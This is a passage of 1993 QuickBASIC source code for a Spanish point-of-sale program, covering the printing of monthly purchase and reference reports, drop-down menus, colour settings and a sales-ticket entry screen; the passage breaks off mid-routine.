Fecha Seleccionada" + center 19, "Por favor, espere ..." + + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(so%) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Este mes, esta vacio, verifique esto." + center 19, "--> Pulse una tecla <--" + SLEEP + EXIT SUB + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(A) + A = A + 1 + WEND + + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT + +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + +Box 8, 13, 14, 69 + + LPRINT SPACE$(80); + LPRINT "Empresa: " + Trim$(Account(so%).Title); + GOSUB ObtMes + + LPRINT TAB(63); "Fecha: " + Fecha$; + LPRINT + + LPRINT "Dia³ Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios "; + LPRINT "ÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ ³ ³ ³ "; + + + u2$ = "##,###,###" + u3$ = "####,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + Curlip = 3 + + A = 1 + Curlip = 0 + + WHILE A <= MaxRecord + GET #1, A + 1 + Curlip = Curlip + 1 + IF Curlip = 50 THEN GOSUB PausePage + + + dia$ = IoDia$ + r# = VAL(IoRef$) + D$ = IoDesc$ + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + + IF LEN(dia$) = 1 THEN LPRINT TAB(3); dia$ + "³"; ELSE LPRINT TAB(2); dia$ + "³"; + + + IF r# <> 0 THEN LPRINT USING u6$; r#; ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(D$)) <> "" THEN LPRINT "³" + D$; ELSE LPRINT "³ "; + + IF p1# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p1#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p2#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p3# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p3#; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p2#; ELSE LPRINT "³ "; + LPRINT "³"; + LPRINT USING u3$; Balance#(A); + + A = A + 1 + WEND + + LPRINT "ßßß³ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßß"; + LPRINT "ÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " Balance total:"; USING u9$; BalTotal#; + LPRINT "ÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT "ÜÜܳÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜܳÜÜÜÜܳÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜ" + LPRINT "Programa Realizado por J.D. para Guill‚n Dominguez s.l" + EXIT SUB + + +PausePage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + +ObtMes: + +SELECT CASE VAL(mes$) + CASE 1: Fecha$ = "Enero, " + an$ + CASE 2: Fecha$ = "Febr., " + an$ + CASE 3: Fecha$ = "Marzo, " + an$ + CASE 4: Fecha$ = "Abril, " + an$ + CASE 5: Fecha$ = "Mayo, " + an$ + CASE 6: Fecha$ = "Junio, " + an$ + CASE 7: Fecha$ = "Julio, " + an$ + CASE 8: Fecha$ = "Agost, " + an$ + CASE 9: Fecha$ = "Sept., " + an$ + CASE 10: Fecha$ = "Octu., " + an$ + CASE 11: Fecha$ = "Nov., " + an$ + CASE 12: Fecha$ = "Dicc., " + an$ +END SELECT +RETURN + + +END SUB + +SUB ImpRef (po%) + + + REDIM CurrFig#(5), CurrString$(1) + + file$ = "Ref#." + Cvit$(po%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Al parecer esta empresa no tiene ref." + center 19, "Verifique estos datos. PAK" + SLEEP + EXIT SUB + END IF + MaxRecord = VAL(IoMaxRecord$) + Box 17, 5, 21, 75 + center 18, "Imprimiendo Referencias" + center 19, "Por favor, espere ..." + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + + + LPRINT "Referencias de la Empresa: " + Trim$(Account(po%).Title); + LPRINT " " + + LPRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. "; + LPRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + + + ds = ds + 1 + IF ds = 50 THEN GOSUB finpage + + IF CurrFig#(2) <> 0 THEN LPRINT " "; : LPRINT USING u6$; CurrFig#(2); ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN LPRINT "³ " + CurrString$(1); ELSE LPRINT "³ "; + + IF CurrFig#(3) <> 0 THEN LPRINT " ³ "; : LPRINT USING u5$; CurrFig#(3); : LPRINT " "; ELSE LPRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; CurrFig#(4); : LPRINT " "; ELSE LPRINT "³ "; + + IF CurrFig#(5) <> 0 THEN LPRINT "³ "; : LPRINT USING u2$; CurrFig#(5) ELSE LPRINT "³ " + + + A = A + 1 + WEND + + EXIT SUB + +finpage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + + p = VARPTR(ScrollUpAsm(1)) + DEF SEG = VARSEG(ScrollUpAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + p = VARPTR(ScrollDownAsm(1)) + DEF SEG = VARSEG(ScrollDownAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + DEF SEG + +END SUB + +'LoadState: +' Load color preferences and account info from Personal.cfg +SUB LoadState + + OPEN "Personal.cfg" FOR INPUT AS #1 + INPUT #1, ColorPref + + FOR A = 1 TO 10 + LINE INPUT #1, Account(A).Title + NEXT A + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, Choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF boorra <> 0 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(Choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR A = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + A - 1, ItemCol(1) + LEN(Choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT A + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(Choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR A = 1 TO MaxChoice + LOCATE ItemRow(A), ItemCol(A) + PRINT Choice$(A); + NEXT A + + finished = false + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = true + RETURN + +MenuEscape: + currChoice = 0 + finished = true + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + currChoice = -2 + finished = true + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + currChoice = -3 + finished = true + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = true + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + PrintHelpLine help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + boorra = 1 + + DIM Choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + Choice = 1 + finished = false + + WHILE NOT finished + + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE Choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemReport + CASE 5: GOSUB MenuSystemColors + CASE 6: GOSUB help + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE SubChoice + CASE -2: Choice = (Choice + 3) MOD 5 + 1 + CASE -3: Choice = (Choice) MOD 6 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 9, 19, 14, 61 + center 11, "Use las teclas de direcci¢n para el men£" + center 12, "Presione Entrar para elegir elemento" + + Choice$(1) = " Archivo " + Choice$(2) = " Proveedores " + Choice$(3) = " Transacciones " + Choice$(4) = " Clientes " + Choice$(5) = " Colores " + Choice$(6) = " Ayuda " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 12 + menuRow(3) = 1: menuCol(3) = 26 + menuRow(4) = 1: menuCol(4) = 42 + menuRow(5) = 1: menuCol(5) = 53 + menuRow(6) = 1: menuCol(6) = 72 + + help$(1) = "Salir del T.P.V" + help$(2) = "Agregar/edit/supr Proveedores" + help$(3) = "Agregar/edit/supr Transacciones" + help$(4) = "Ver e imprimir clientes" + help$(5) = "Fijar color en pantalla" + help$(6) = " Ayuda " + + DO + NewChoice = Menu((Choice), 6, Choice$(), menuRow(), menuCol(), help$(), true) + LOOP WHILE NewChoice = 0 + Choice = NewChoice + RETURN + +MenuSystemFile: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Ficheros " + Choice$(2) = " Status " + Choice$(3) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + + help$(1) = "Operaciones de Configuraci¢n" + help$(2) = "Status actual" + help$(3) = "Salir del T.P.V." + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + + Choice$(1) = " Eliminar Fich. " + Choice$(2) = " Vendedores " + Choice$(3) = " Caja (S/N) " + + menuRow(1) = 5: menuCol(1) = 6 + menuRow(2) = 6: menuCol(2) = 6 + menuRow(3) = 7: menuCol(3) = 6 + + help$(1) = "Eliminaci¢n de ficheros..." + help$(2) = "Agregar/Editar/Eliminar Vendedores" + help$(3) = "Configurar Caja registradora" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1: Elif + CASE 2 + don = 2 + GOSUB empresa + Vende (SubChoice) + don = 0 + CASE 3 + ON ERROR GOTO ErrorCaj + + OPEN "Caja.cfg" FOR INPUT AS #1 + INPUT #1, act$ + CLOSE + + Box 8, 13, 14, 69 + center 11, "¨Hay una caja registradora instalada" + center 12, "en el puerto RS232?" + LOCATE 13, 15: PRINT "Actual: ", act$ + center 14, " <ÄÙ Cambiar" + kbd$ = INKEY$ + WHILE kbd$ = "": kbd$ = INKEY$: WEND + IF kbd$ <> CHR$(13) THEN RETURN + LOCATE 13, 15: INPUT "Nuevo: ", act$ + IF UCASE$(RTRIM$(LTRIM$(act$))) <> "S" THEN act$ = "N" + + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, act$ + CLOSE + + + CASE ELSE + END SELECT + + + CASE 2: Staul + CASE 3: finished = true + CASE ELSE + END SELECT + RETURN + + + + +MenuSystemEdit: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Altas " + Choice$(2) = " Editar/Modificar " + Choice$(3) = " Buscar " + Choice$(4) = " Eliminar " + Choice$(5) = " Imprimir (1, 2) " + + menuRow(1) = 3: menuCol(1) = 9 + menuRow(2) = 4: menuCol(2) = 9 + menuRow(3) = 5: menuCol(3) = 9 + menuRow(4) = 6: menuCol(4) = 9 + menuRow(5) = 7: menuCol(5) = 9 + + help$(1) = "Agregar Proveedores" + help$(2) = "Editar/Modificar Proveedores" + help$(3) = "Busqueda de Proveedores" + help$(4) = "Eliminar Proveedores" + help$(5) = "Imprimir lista individual o r pida" + + SubChoice = Menu(1, 5, Choice$(), menuRow(), menuCol(), help$(), false) + SELECT CASE SubChoice + CASE 1 TO 5 + + CHAIN "Proveed" + + END SELECT + + RETURN + + +MenuSystemAccount: + don = 0 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Compras " + Choice$(2) = " Referencias " + Choice$(3) = " Imprimir (1) " + Choice$(4) = " Imprimir (2) " + + menuRow(1) = 3: menuCol(1) = 26 + menuRow(2) = 4: menuCol(2) = 26 + menuRow(3) = 5: menuCol(3) = 26 + menuRow(4) = 6: menuCol(4) = 26 + + help$(1) = "Agregar/Eliminar/Editar Compras" + help$(2) = "Agregar/Eliminar/Editar Referencias" + help$(3) = "Imprimir Compras del mes" + help$(4) = "Imprimir Referencias" + + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + item% = SubChoice + SELECT CASE SubChoice + CASE 1: vaw = 1: GOTO empresa + CASE 2: vaw = 2: GOTO empresa + CASE 3: vaw = 3: GOTO empresa + CASE 4: vaw = 4: GOTO empresa + END SELECT +RETURN + +empresa: + boorra = 1 + FOR A = 1 TO 10 + IF Trim$(Account(A).Title) = "" THEN + Choice$(A) = RIGHT$(STR$(A), 2) + ". ------------------- " + ELSE + Choice$(A) = RIGHT$(STR$(A), 2) + ". " + Account(A).Title + END IF + menuRow(A) = A + 4 + menuCol(A) = 32 + help$(A) = RTRIM$(Account(A).Title) + NEXT A + + SubChoice = Menu(1, 10, Choice$(), menuRow(), menuCol(), help$(), false) + boorra = 0 + + IF SubChoice > 0 THEN + IF Choice$(SubChoice) = RIGHT$(STR$(SubChoice), 2) + ". ------------------- " THEN + Box 17, 5, 21, 75 + center 19, "Esa empresa no EXISTE, ¨Desea crearla?" + DO: + K$ = INKEY$ + LOOP WHILE K$ = "" + + IF K$ = "s" OR K$ = "S" THEN + Box 17, 5, 21, 75 + center 18, "Introduzca el nombre de la Empresa" + emp$ = GetString$(19, 7, "", end$, 20, 20) + 'end$ contiene la informacion + Account(SubChoice).Title = end$ + SaveState + + ELSE + Box 17, 5, 21, 75 + center 19, "Escoja una empresa" + GOTO empresa + + END IF + END IF + item% = SubChoice + IF vaw = 2 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de REFERENCIAS" + CHAIN "ref#" + END IF + + IF vaw = 1 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de COMPRAS" + CHAIN "compras" + END IF + IF vaw = 3 THEN ImpComp (SubChoice) + IF vaw = 4 THEN ImpRef (SubChoice) + + + END IF + IF don = 2 THEN RETURN + GOTO MenuSystemMain + + + +MenuSystemReport: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Ticket " + Choice$(2) = " Balance " + Choice$(3) = " Stock actual " + + menuRow(1) = 3: menuCol(1) = 39 + menuRow(2) = 4: menuCol(2) = 39 + menuRow(3) = 5: menuCol(3) = 39 + + help$(1) = "Ticket, comenzar a fichar" + help$(2) = "Total Vendido, dia, mes" + help$(3) = "Ver o imprimir Stock actual" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + don = 2 + SELECT CASE SubChoice + CASE 1 + GOSUB empresa + Ticket (SubChoice%) + CASE 2 + GOSUB empresa + Balan (SubChoice%) + CASE 3 + GOSUB empresa + Stock (SubChoice%) + CASE ELSE + END SELECT + RETURN + +MenuSystemColors: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Monocrom tico " + Choice$(2) = " Cyan/Azul " + Choice$(3) = " Azul/Cyan " + Choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 50 + menuRow(2) = 4: menuCol(2) = 50 + menuRow(3) = 5: menuCol(3) = 50 + menuRow(4) = 6: menuCol(4) = 50 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +help: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Uso de la ayuda " + Choice$(2) = " Sobre los Men£s " + Choice$(3) = " Grabaci¢n de Datos " + Choice$(4) = " Acerca de... " + + menuRow(1) = 3: menuCol(1) = 57 + menuRow(2) = 4: menuCol(2) = 57 + menuRow(3) = 5: menuCol(3) = 57 + menuRow(4) = 6: menuCol(4) = 57 + + help$(1) = "Uso de la ayuda en T.P.V." + help$(2) = "Ayuda en los men£s" + help$(3) = "Modo de grabar los Datos" + help$(4) = "Creditos del Terminal Punto de Venta" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + RETURN + CASE 2 + RETURN + CASE 3 + RETURN + CASE 4 + Box 9, 10, 16, 70 + center 10, "T E R M I N A L P U N T O de V E N T A" + center 12, "by" + center 14, "Jos‚ David Guill‚n (c) 1993" + center 16, "Pulse una tecla" + SLEEP + CASE ELSE + END SELECT + RETURN + + + + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors%(5, ColorPref), colors%(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + center 25, help$ +END SUB + +'SaveState: +' Save color preference and account information to "Personal.cfg" data file. +SUB SaveState + OPEN "Personal.cfg" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + FOR A = 1 TO 19 + PRINT #2, Account(A).Title + NEXT A + + CLOSE #2 +END SUB + +'ScrollDown: +' Call the assembly program to scroll the screen down +SUB ScrollDown + DEF SEG = VARSEG(ScrollDownAsm(1)) + CALL Absolute(VARPTR(ScrollDownAsm(1))) + DEF SEG +END SUB + +'ScrollUp: +' Calls the assembly program to scroll the screen up +SUB ScrollUp + DEF SEG = VARSEG(ScrollUpAsm(1)) + CALL Absolute(VARPTR(ScrollUpAsm(1))) + DEF SEG +END SUB + +SUB Staul + +END SUB + +SUB Stock (EEE%) + +END SUB + +SUB Ticket (e%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155), Title$(9) + + + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que guardar ticket del d¡a." + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + help$(1) = "Vendedor 1 a 9 " + help$(2) = "Referencia " + help$(3) = "Unidades " + + Col(1) = 2: vis(1) = 4: max(1) = 1 + Col(2) = 9: vis(2) = 6: max(2) = 6 + Col(3) = 43: vis(3) = 5: max(3) = 2 + + 'Open random access file + + OPEN "Vendedor" + Cvit$(e%) FOR RANDOM AS #1 LEN = 69 + + FIELD #1, 20 AS T$, 43 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + + FOR tAt = 1 TO 9 + GET #1, tAt + 1 + Title$(tAt) = T$ + NEXT tAt + CLOSE + + + file$ = "T-" + dia$ + mes$ + "." + Cvit$(e) + + OPEN file$ FOR RANDOM AS #1 LEN = 19 + + FIELD #1, 2 AS IoDia$, 1 AS IoVen$, 6 AS IoRef$, 3 AS IoUnd$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrFig#(1) = 0 + CurrFig#(2) = 0 + CurrFig#(3) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoVen$ = STR$(0) + LSET IoRef$ = STR$(0) + LSET IoUnd$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + RecordMin = VAL(IoMaxRecord$) + MaxRecord = 1 + 'MaxRecord = VAL(IoMaxRecord$) + + GOSUB CargaReferencias + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 2, 1, 21, 80 + Box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(Account(e%).Title); + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " No. ³ Ref# ³ Concepto ³ Und ³ P.V.P. ³ Total " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "#,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + vex = 1 + + 'GOSUB EditPrintWholeScreen + CurrRow = 1 + vex = 0 + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + bajabarra = 0 + CurrRow = 1 + CurrCol = 1 + + CurrRecord = CurrTopline + CurrRow - 1 + + PrintHelpLine help$(CurrCol) + "| " + + + 'GOSUB EditGetLine + + finished = false + + GOSUB EditPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = CurrCol - 1 + IF CurrCol <= 0 THEN CurrCol = 3 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 3 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditPrintWholeScreen + 